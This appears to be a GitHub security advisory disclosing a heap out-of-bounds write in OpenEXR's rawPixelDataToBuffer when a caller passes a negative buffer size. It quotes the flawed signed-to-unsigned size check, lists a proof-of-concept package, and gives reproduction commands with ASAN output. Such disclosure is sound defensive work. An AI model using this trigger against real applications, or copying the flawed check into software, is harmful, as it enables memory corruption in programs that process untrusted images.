Skip to content

GHSA-fhfq-mv64-6q4j

CVE Information

Summary

OpenEXR::InputFile::rawPixelDataToBuffer() / ScanLineInputFile::rawPixelDataToBuffer() can write raw scanline bytes past a caller-provided buffer when the caller passes a negative int pixelDataSize value. The API documents that pixelData is pre-allocated for pixelDataSize bytes, but the implementation compares the file chunk size against static_cast<uint64_t>(pixelDataSize). A value such as -1 becomes a very large unsigned value, bypasses the too-small-buffer check, and the raw EXR chunk is copied into an undersized buffer.

This is not triggered by opening an EXR file alone: a consuming application must pass a negative or otherwise unchecked signed size into the public raw-pixel API. With that precondition, a valid scanline EXR controls the copied raw chunk length and bytes.

Confirmed locally on OpenEXR v3.4.12 and v3.4.13: the original build corrupts a canary immediately after a declared 16-byte buffer, and ASAN reports a heap-buffer-overflow WRITE of size 384 at ImfScanLineInputFile.cpp:378.

Details

The public API contract says the caller supplies an external buffer sized by pixelDataSize:

  • src/lib/OpenEXR/ImfInputFile.h:237-254 documents rawPixelDataToBuffer(scanLine, pixelData, pixelDataSize) and says pixelData should be pre-allocated with space for pixelDataSize chars.
  • src/lib/OpenEXR/ImfInputFile.cpp:245-249 forwards InputFile::rawPixelDataToBuffer() to the scanline implementation.
  • src/lib/OpenEXR/ImfInputPart.cpp:101-105 exposes the same operation for multipart input.

The vulnerable check/copy sequence is in src/lib/OpenEXR/ImfScanLineInputFile.cpp:357-378 in both v3.4.12 and v3.4.13:

if (cinfo.packed_size > static_cast<uint64_t> (pixelDataSize))
{
    THROW (... "Provided buffer is too small" ...);
}

pixelDataSize = static_cast<int> (cinfo.packed_size);

if (EXR_ERR_SUCCESS !=
    exr_read_chunk (_ctxt, _data->partNumber, &cinfo, pixelData))
{
    THROW (...);
}

For a positive undersized value, for example pixelDataSize = 16 with a 384-byte raw scanline chunk, OpenEXR throws before copying. For pixelDataSize = -1, the cast produces a very large unsigned value, so the same 384-byte chunk passes the check. The function then changes pixelDataSize to 384 and calls exr_read_chunk() with the original small pointer.

The PoC uses a valid 64x64 RGB HALF scanline EXR with NO_COMPRESSION; its first raw scanline chunk is 384 bytes. The reproducer has two relevant modes:

  • RAWPIXEL_MODE=canary: allocates a larger region but treats only the first 16 bytes as the caller's declared buffer, then checks whether bytes after that logical boundary changed. This confirms the original build writes beyond the declared boundary.
  • RAWPIXEL_MODE=heap: provides an actual 16-byte heap allocation. This makes ASAN report the physical heap-buffer-overflow at the OpenEXR raw chunk read path.

I am not claiming target address selection, sensitive-data disclosure, or stronger impact. The demonstrated issue is an out-of-bounds write through the public raw-pixel API when the caller passes a negative size.

PoC

poc.zip contains:

poc.zip

README.md
report.md
inputs/poc_valid_raw_scanline_rgb.exr
repro/repro_rawpixel_negative_size.cpp
repro/build_repro.sh
repro/run_repro.sh
logs/validation_summary.md
logs/v3412_original_positive16.{rc,stderr}
logs/v3412_original_canary.{rc,stderr}
logs/v3412_asan_heap.{rc,stderr}
logs/v3413_original_positive16.{rc,stderr}
logs/v3413_original_canary.{rc,stderr}
logs/v3413_asan_heap.{rc,stderr}
source_excerpts/rawPixelDataToBuffer_source.txt

Reproduce from the OpenEXR workspace root after building the original and ASAN variants:

mkdir -p artifacts/tmp/report22-submit
unzip -o 'report/22. OpenEXR rawPixelDataToBuffer negative size heap OOB write/poc.zip' \
  -d artifacts/tmp/report22-submit

# v3.4.12 build tree: sources/openexr-3.4.12 + builds/{original,asan}
artifacts/tmp/report22-submit/repro/run_repro.sh "$PWD" v3412

# Optional v3.4.13 comparison build tree, if present:
artifacts/tmp/report22-submit/repro/run_repro.sh "$PWD" v3413

Expected core results:

original_positive16_canary rc=0
original_negative_canary   rc=77
asan_negative_heap         rc=134
core_validation=1

Direct commands after building the included reproducer:

POC=artifacts/tmp/report22-submit/inputs/poc_valid_raw_scanline_rgb.exr
ORIG=artifacts/tmp/report22-submit/bin/repro_rawpixel_negative_size_v3412_original
ASAN=artifacts/tmp/report22-submit/bin/repro_rawpixel_negative_size_v3412_asan

# Positive-size control: too-small positive size is rejected before copying.
RAWPIXEL_SIZE=16 RAWPIXEL_MODE=canary "$ORIG" "$POC"
# expected rc=0

# Negative-size original-build check: logical canary after the 16-byte boundary changes.
RAWPIXEL_SIZE=-1 RAWPIXEL_MODE=canary "$ORIG" "$POC"
# expected rc=77
# CANARY_CORRUPTED offset=16 declared_buffer=16 pixelDataSize_after=384 byte=0x10

# ASAN check: physical 16-byte heap allocation receives a 384-byte write.
RAWPIXEL_SIZE=-1 RAWPIXEL_MODE=heap RAWPIXEL_ALLOC=16 \
ASAN_OPTIONS='abort_on_error=1:detect_leaks=0:symbolize=1:allocator_may_return_null=1' \
  "$ASAN" "$POC"
# expected rc=134, AddressSanitizer: heap-buffer-overflow, WRITE of size 384

Representative ASAN excerpt from v3.4.13:

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 384 at 0x502000000380 thread T0
#1 default_read_func .../OpenEXRCore/internal_posix_file_impl.h:177:14
#2 dispatch_read .../OpenEXRCore/context.c:51:16
#3 exr_read_chunk .../OpenEXRCore/chunk.c:1557:17
#4 Imf_3_4::ScanLineInputFile::rawPixelDataToBuffer(int, char*, int&) const
   .../src/lib/OpenEXR/ImfScanLineInputFile.cpp:378:13
0x502000000380 is located 0 bytes after 16-byte region [0x502000000370,0x502000000380)
SUMMARY: AddressSanitizer: heap-buffer-overflow ... in pread64

Impact

A consuming application that accepts untrusted EXR files and passes an unchecked signed size into rawPixelDataToBuffer() can have file-controlled raw chunk bytes written past the intended caller buffer. The demonstrated impact is memory corruption / out-of-bounds write: the original build overwrites bytes immediately after the declared buffer boundary, and ASAN reports a heap-buffer-overflow write from the raw chunk read path.